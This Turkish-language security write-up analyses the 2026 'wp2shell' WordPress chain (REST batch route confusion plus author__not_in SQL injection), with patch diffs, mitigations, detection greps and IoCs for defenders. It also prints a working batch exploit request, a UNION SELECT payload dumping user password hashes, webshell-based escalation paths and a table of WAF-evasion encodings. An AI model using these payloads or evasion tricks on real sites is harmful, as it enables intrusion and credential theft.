CVE-2026-63030 & CVE-2026-60137 — WordPresste kimlik doğrulaması gerekmeden uzaktan kod çalıştırma.
TL;DR
17 Temmuz 2026’da WordPress, son yılların en kritik güvenlik yamasını yayınladı. wp2shell olarak adlandırılan zafiyet zinciri, varsayılan bir WordPress kurulumunda — hiçbir eklenti, kullanıcı etkileşimi veya kimlik doğrulaması gerektirmeden — uzaktan kod çalıştırma (RCE) imkanı sunuyordu.
Saldırı, iki bağımsız zafiyetin zincirlemesiyle çalışıyor:
- CVE-2026-63030 — REST API batch endpoint’inde route confusion (yönlendirme karışıklığı)
- CVE-2026-60137 —
WP_Querysınıfındaauthor__not_inparametresi üzerinden SQL Injection
Tek başına bakıldığında SQL injection yalnızca kimliği doğrulanmış kullanıcılar tarafından erişilebilir. Ancak route confusion zafiyeti, bu kısıtlamayı tamamen devre dışı bırakarak saldırı zincirinin unauthenticated hale gelmesini sağlıyor.
Etkilenen sürümler: WordPress 6.9.0 – 6.9.4 ve 7.0.0 – 7.0.1 Yamalar: WordPress 6.9.5 ve 7.0.2 (17 Temmuz 2026) CVSS 3.1: 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Zafiyetin Keşfi ve Sorumluluk
wp2shell, Searchlight Cyber bünyesindeki Assetnote araştırmacısı Adam Kues tarafından keşfedildi ve WordPress’in HackerOne bug bounty programı üzerinden sorumlu bir şekilde raporlandı. SQL injection bileşeni (CVE-2026-60137) ise TF1T, dtro ve haongo tarafından bağımsız olarak raporlandı.
WordPress güvenlik ekibi, her iki zafiyeti de aynı yama döngüsünde düzeltti ve Cloudflare, Wordfence gibi WAF sağlayıcılarıyla koordineli bir şekilde yayınladı.
Zincirin Anatomisi
wp2shell, iki zafiyetin birbirini tamamladığı bir saldırı zinciridir. Bunları ayrı ayrı inceleyelim.
Halka 1: REST API Batch Route Confusion (CVE-2026-63030)
WordPress 5.6 ile birlikte gelen REST API batch endpoint’i (/wp-json/batch/v1), tek bir HTTP isteğiyle birden fazla REST API çağrısını toplu olarak göndermeyi sağlar. Bu endpoint anonim olarak erişilebilir — ancak içindeki her sub-request, kendi route handler’ının yetki kontrolünden (permission callback) geçmelidir.
Sorun, WP_REST_Server::serve_batch_request_v1() fonksiyonunda ortaya çıkıyor. Bu fonksiyon, gelen sub-request’leri işlerken iki paralel dizi (array) kullanır:
$matches[]— Her sub-request için eşleşen route handler’ları$responses[]/$validation[]— Her sub-request’in doğrulama sonuçları
Kritik hata: Bir sub-request’in yolu (path) geçersiz olduğunda — örneğin http://: gibi ayrıştırılamayan bir URL — wp_parse_url() başarısız olur ve bir WP_Error nesnesi üretilir. Bu hata nesnesi validation dizisine eklenir, ancak matches dizisine eklenmez. Bu, iki dizinin senkronizasyonunu bozar.
Bu desenkronizasyonu bir örnekle gösterelim:
Batch Request:
requests[0]: POST "http://:" ← geçersiz path, parse başarısız
requests[1]: DELETE /wp/v2/categories/0
requests[2]: POST /wp/v2/block-renderer/core/paragraph
İç İşleyiş:
$validation[0] = WP_Error("parse_failed") ← hata kaydedildi
$validation[1] = handler_for_categories ← normal
$validation[2] = handler_for_block_renderer ← normal
$matches[0] = handler_for_categories ← index kayması!
$matches[1] = handler_for_block_renderer ← index kayması!
// $matches[2] yok — dizi kısa kaldı
Dispatch Aşaması:
request[1] → $matches[0] ile dispatch → categories handler'ı çalışır
AMA block-renderer'ın permission callback'i ile!
request[2] → $matches[1] ile dispatch → block-renderer handler'ı çalışır
AMA var olmayan handler'ın callback'i ile!
Bu +1 index kayması (array index desynchronization), her sub-request’in bir sonrakinin yetki kontrolü altında çalışmasına neden olur. Saldırgan, bu kayışı kasıtlı olarak tetikleyerek, normalde edit_posts veya manage_categories yetkisi gerektiren endpoint’lere anonim olarak erişebilir.
Halka 2: author__not_in SQL Injection (CVE-2026-60137)
WordPress’in sorgu motoru WP_Query, veritabanı sorgularını oluşturmak için kullanılan merkezi sınıftır. author__not_in parametresi, belirli yazarların içeriklerini sonuçlardan hariç tutmak için tasarlanmıştır ve normalde bir integer dizisi (array) bekler:
// Beklenen kullanım:
$query = new WP_Query(['author__not_in' => [5, 12, 33]]);
// Üretilen SQL: ... AND post_author NOT IN (5, 12, 33)
Zafiyet, bu parametrenin dizi yerine string olarak gönderildiğinde ortaya çıkar:
// Zafiyetli kod (yama öncesi):
if ( ! empty( $q['author__not_in'] ) ) {
// is_array() kontrolü YOK!
$not_in = implode(',', $q['author__not_in']);
$where .= " AND {$wpdb->posts}.post_author NOT IN ($not_in)";
}
PHP’nin implode() fonksiyonu bir string üzerinde çağrıldığında, string’i olduğu gibi döndürür. Bu, saldırganın doğrudan SQL sorgusu içine kod enjekte etmesine olanak tanır:
Gönderilen parametre:
author__not_in = "999) UNION SELECT user_login,user_pass FROM wp_users--"
Üretilen SQL:
... AND post_author NOT IN (999) UNION SELECT user_login,user_pass FROM wp_users--)
Normalde bu parametre yalnızca authenticated REST API endpoint’leri üzerinden erişilebilir. Ancak route confusion zafiyeti bu kısıtlamayı kaldırdığında, anonim bir saldırgan SQL injection’a tam erişim kazanır.
Exploit Zinciri: Adım Adım
Aşağıda, wp2shell saldırı zincirinin baştan sona nasıl çalıştığını adım adım açıklıyoruz. Bu bilgi savunma amaçlıdır — hangi aşamada tespit ve engelleme yapılabileceğini anlamak için gereklidir.
Adım 1: Batch Request ile Route Confusion Tetikleme
Saldırgan, batch endpoint’ine tek bir POST isteği gönderir:
POST /?rest_route=/batch/v1 HTTP/1.1
Host: hedef-site.com
Content-Type: application/json
{
"validation": "normal",
"requests": [
{"method": "POST", "path": "http://:"},
{"method": "GET", "path": "/wp/v2/posts?author__not_in=PAYLOAD"}
]
}
- İlk sub-request kasıtlı olarak geçersiz:
http://:parse edilemez,$matchesdizisinde boşluk yaratır. - İkinci sub-request’teki
author__not_inparametresi, yanlış handler’ın permission callback’i altında çalışır. - Sonuç: Unauthenticated SQL injection.
Adım 2: Veritabanından Bilgi Çıkarma
SQL injection aracılığıyla saldırgan, wp_users tablosundan admin kullanıcı bilgilerini çeker:
author__not_in=999) UNION SELECT user_login,user_pass FROM wp_users LIMIT 1--
Bu sorgu, veritabanındaki ilk kullanıcının (genellikle admin) kullanıcı adı ve parola hash’ini döndürür.
Adım 3: Admin Hash’ten Erişim Elde Etme
WordPress, parolaları phpass (Portable PHP password hashing framework) ile hashler. Saldırgan:
- Hash’i offline olarak kırmayı deneyebilir (zayıf parolalar için etkili)
- Veya SQL injection ile doğrudan admin parolasını değiştirebilir
- Veya
wp_optionstablosunu manipüle ederek yeni bir admin hesabı oluşturabilir
Adım 4: Kod Çalıştırma (RCE)
Admin erişimi elde edildikten sonra, RCE için birden fazla yol mevcuttur:
- Eklenti yükleme: Zararlı PHP kodu içeren bir eklenti ZIP dosyası yüklenir
- Tema düzenleme:
Appearance > Theme Editorüzerinden PHP dosyalarına webshell eklenir - wp_options manipülasyonu: SQL injection ile
siteurlveyatemplategibi kritik ayarlar değiştirilir
Sonuç: Sunucu üzerinde tam kontrol.
Önemli Not: Object Cache Etkisi
Searchlight Cyber’ın araştırmasına göre, RCE’ye giden son adım persistent object cache kullanılmayan WordPress kurulumlarında çalışır. Redis veya Memcached gibi bir cache katmanı aktifse, exploit zincirinin RCE aşaması kesintiye uğrayabilir. Ancak bu bir düzeltme değildir — SQL injection ve veri sızıntısı riski devam eder.
REST API’nin İki Yüzü: wp-json ve rest_route
WordPress REST API’ye iki farklı yoldan erişilebilir:
- Pretty permalink:
https://site.com/wp-json/batch/v1 - Query parameter:
https://site.com/?rest_route=/batch/v1
Bu iki yol, WordPress tarafından tamamen eşdeğer şekilde işlenir. Ancak güvenlik araçları (WAF, IDS/IPS) genellikle yalnızca URI path’ini kontrol eder. Bu, rest_route query parameter’ı üzerinden yapılan isteklerin tespit edilememesine neden olur.
Bu durum, WAF bypass’ların en yaygın vektörünü oluşturur. Bir WAF kuralı /wp-json/batch/v1 path’ini blokluyor olsa bile, aynı fonksiyonalite ?rest_route=/batch/v1 üzerinden erişilebilir durumda kalabilir.
WAF Koruma Stratejileri ve Evasion Teknikleri
Bu zafiyet, WAF kural yazımında karşılaşılan klasik sorunları mükemmel bir şekilde örnekler. Aşağıda, test ettiğimiz evasion vektörleri ve bunlara karşı etkili koruma yöntemleri yer almaktadır.
Yaygın Evasion Vektörleri
| Teknik | Örnek | Açıklama |
|---|---|---|
| Query parameter routing | ?rest_route=/batch/v1 | Path yerine query string kullanımı |
| URL-encoded slash | ?rest_route=%2Fbatch%2Fv1 | Slash karakterinin encode’lanması |
| Double encoding | ?rest_route=%252Fbatch%252Fv1 | Çift katmanlı encoding |
| Karakter encoding | ?rest_route=/b%61tch/v1 | Kelime içindeki harflerin encode’lanması |
| Case variance | ?rest_route=/BATCH/V1 | Büyük/küçük harf varyasyonu |
| Parametre adı encoding | ?rest%5Froute=/batch/v1 | Underscore’un encode’lanması |
| HPP (Parameter Pollution) | ?rest_route=/posts&rest_route=/batch/v1 | Çoklu parametre |
| Whitespace injection | ?rest_route=/batch/v1%0a | Newline veya tab ekleme |
Etkili WAF Kuralı Yazma İlkeleri
- Hem path hem query string kontrol edilmeli. Sadece URI path’i kontrol eden kurallar,
rest_routebypass’ına açıktır. - URL decode sonrası karşılaştırma yapılmalı. Ham (raw) query string üzerinde string karşılaştırması, encoding bypass’larına açıktır. WAF’ın normalize-after-decode özelliği aktif edilmelidir.
- Case-insensitive matching kullanılmalı. WordPress, route eşleştirmesinde büyük/küçük harf duyarsızdır.
- Parametre adı varyasyonları da dahil edilmeli.
rest_route,REST_ROUTE,rest%5Froutegibi varyasyonlar aynı şekilde işlenir.
Örnek Etkili Kural Yapısı
Etkili bir WAF kuralı şu koşulları eş zamanlı karşılamalıdır:
IF (
normalized_uri CONTAINS "batch/v1"
AND (
normalized_uri CONTAINS "wp-json"
OR normalized_query CONTAINS "rest_route"
)
)
THEN BLOCK
Buradaki normalized ifadesi, URL decode + lowercase dönüşümü sonrası elde edilen değeri ifade eder.
Patch Analizi
WordPress 7.0.2 ve 6.9.5 yamaları iki temel düzeltme içerir:
Düzeltme 1: Array Senkronizasyonu (CVE-2026-63030)
class-wp-rest-server.php dosyasında, batch request işleme mantığı güncellendi. Parse hatası oluştuğunda, hem $matches hem de $validation dizilerine tutarlı şekilde kayıt eklenerek index kaymasının önüne geçildi.
Düzeltme 2: author__not_in Sanitization (CVE-2026-60137)
class-wp-query.php dosyasında, author__not_in parametresi için tip kontrolü ve sanitization eklendi:
// Yama öncesi (zafiyetli):
if ( ! empty( $q['author__not_in'] ) ) {
$not_in = implode(',', $q['author__not_in']);
$where .= " AND {$wpdb->posts}.post_author NOT IN ($not_in)";
}
// Yama sonrası (güvenli):
if ( ! empty( $q['author__not_in'] ) ) {
$author__not_in = (array) $q['author__not_in']; // Array'e zorla
$author__not_in = array_map('intval', $author__not_in); // Integer'a dönüştür
if ( $author__not_in ) {
$not_in = implode(',', $author__not_in);
$where .= " AND {$wpdb->posts}.post_author NOT IN ($not_in)";
}
}
Yama, iki satırlık bir değişiklikle SQL injection’ı tamamen ortadan kaldırıyor: – (array) cast ile string girdi diziye dönüştürülüyor – array_map('intval', ...) ile tüm elemanlar integer’a zorlanıyor
Bir SQL injection payload’ı bu aşamadan sonra 0 (sıfır) değerine dönüşür ve zararsız hale gelir.
Korunma Rehberi
Acil Aksiyonlar
1. WordPress’i güncelleyin. 6.9.5 veya 7.0.2 sürümüne yükseltme, zafiyetin kalıcı çözümüdür. wp-admin > Dashboard > Updates üzerinden veya WP-CLI ile:
wp core update
wp core verify-checksums
2. Güncelleme yapılamıyorsa, batch endpoint’i devre dışı bırakın. wp-content/mu-plugins/disable-batch.php dosyası oluşturun:
<?php
add_filter('rest_endpoints', function($endpoints) {
unset($endpoints['/batch/v1']);
return $endpoints;
});
3. WAF kuralı ekleyin. Hem /wp-json/batch/v1 path’ini hem de ?rest_route=/batch/v1 query parameter’ını bloklamalıdır. URL decode ve case-insensitive matching aktif edilmelidir.
Tespit ve Doğrulama
Mevcut kurulumunuzun etkilenip etkilenmediğini kontrol etmek için:
# Versiyon kontrolü
wp core version
# Dosya bütünlüğü kontrolü
wp core verify-checksums --include-root
# Erişim loglarında exploit girişimi arama
grep -rE "batch/v1|rest_route.*batch" /var/log/nginx/access.log
grep -rE "author__not_in.*UNION|author__not_in.*SLEEP|author__not_in.*SELECT" /var/log/nginx/access.log
Searchlight Cyber ayrıca wp2shell.com adresinde ücretsiz bir değerlendirme aracı sunmaktadır.
IoC (Indicators of Compromise) — Sızma Göstergeleri
Erişim loglarında şu kalıpları arayın:
POST /wp-json/batch/v1veyaPOST /?rest_route=/batch/v1ile gelen isteklerauthor__not_inparametresi içeren toplu API istekleri- Response code
207(Multi-Status) dönen batch endpoint istekleri - Body’de
http://:gibi kasıtlı olarak geçersiz path’ler içeren JSON payload’lar
Timeline
| Tarih | Olay |
|---|---|
| 2026 (tarih gizli) | Adam Kues (Assetnote/Searchlight Cyber) zafiyeti keşfeder |
| 2026 (tarih gizli) | WordPress HackerOne programı üzerinden sorumlu raporlama |
| 2026 (tarih gizli) | TF1T, dtro, haongo bağımsız olarak SQLi bileşenini raporlar |
| 17 Temmuz 2026, 17:03 UTC | Cloudflare WAF koruması devreye alınır |
| 17 Temmuz 2026, 17:45 ET | WordPress 7.0.2, 6.9.5 ve 6.8.6 yamaları yayınlanır |
| 17 Temmuz 2026 | Searchlight Cyber araştırma yazısını yayınlar (teknik detaylar gizli tutulur) |
| 18 Temmuz 2026 | PoC (Proof of Concept) kodları kamuya açılır |
| 18 Temmuz 2026 | Aktif exploitation raporları başlar |
Sonuç
wp2shell, WordPress güvenlik tarihindeki en ciddi zafiyetlerden biridir. Varsayılan kurulumda, sıfır ön koşulla, tek bir HTTP isteğiyle exploit edilebilmesi onu özellikle tehlikeli kılıyor.
Bu zafiyet, birkaç önemli dersi bir arada veriyor:
- Paralel veri yapıları senkronize tutulmalıdır. İki dizinin index’lerinin kayması, güvenlik kontrollerinin tamamen atlanmasına neden olabilir. Bu, sadece WordPress’e özgü değil, genel bir yazılım güvenliği ilkesidir.
- Tip kontrolü güvenlik sınırıdır.
is_array()kontrolünün eksikliği, SQL injection’ın kapısını açtı. Kullanıcı girdisi beklenen tipte olmayabilir — her zaman doğrulayın. - WAF tek başına yeterli değildir. WAF kuralları geçici bir savunma katmanıdır. URL encoding, parametre routing ve case varyasyonları gibi evasion tekniklerine karşı sürekli güncellenmesi gerekir. Asıl çözüm, kaynak kodun yamanmasıdır.
- Alternatif erişim yolları unutulmamalıdır. WordPress’in
rest_routequery parameter’ı,wp-jsonpath’inin tam eşdeğeridir. WAF kuralları her iki yolu da kapsamalıdır.
Henüz yamalamadıysanız, şimdi yapın.
Kaynaklar
- Searchlight Cyber — wp2shell: Pre Authentication RCE in WordPress Core
- Hadrian — wp2shell: Pre-Auth RCE in WordPress Core’s REST API
- Cloudflare Blog — WordPress Vulnerabilities WAF Protection
- VulnCheck — WP2Shell Vulnerabilities
- The Hacker News — New wp2shell WordPress Core Flaw
- Security Online — WordPress Pre-Auth RCE CVE-2026-63030
- Penligent — CVE-2026-63030 wp2shell Patch Priority
- GitHub Security Advisory — GHSA-ff9f-jf42-662q
- NVD — CVE-2026-63030
Bu yazı, savunma amaçlı teknik eğitim için hazırlanmıştır. Burada paylaşılan bilgiler, yalnızca yetkilendirilmiş güvenlik testleri ve sistem koruma faaliyetlerinde kullanılmalıdır.